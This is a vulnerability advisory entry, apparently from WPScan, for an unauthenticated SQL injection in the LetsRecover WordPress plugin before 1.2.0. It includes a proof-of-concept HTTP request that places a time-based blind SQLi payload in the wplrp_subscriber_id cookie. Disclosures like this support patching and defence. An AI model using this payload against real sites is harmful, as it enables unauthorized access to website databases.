Lucene search

K
wpvulndbDaniel KrohmerWPVDB-ID:4D1C0886-11F7-494F-B175-691253F46626
HistoryDec 12, 2022 - 12:00 a.m.

LetsRecover < 1.2.0 - Unauthenticated SQLi

2022-12-1200:00:00
Daniel Krohmer
wpscan.com
9
plugin vulnerability
unauthenticated users
sql injection
ajax action
security issue

EPSS

0.002

Percentile

53.1%

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

PoC

GET /checkout/order-received/30/?key=wc_order_Kwss5kjkrhgKG HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://localhost/checkout/ Cookie: wplrp_subscriber_id=5 AND (SELECT 7741 FROM (SELECT(SLEEP(5)))hlAf); Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin

EPSS

0.002

Percentile

53.1%

Related for WPVDB-ID:4D1C0886-11F7-494F-B175-691253F46626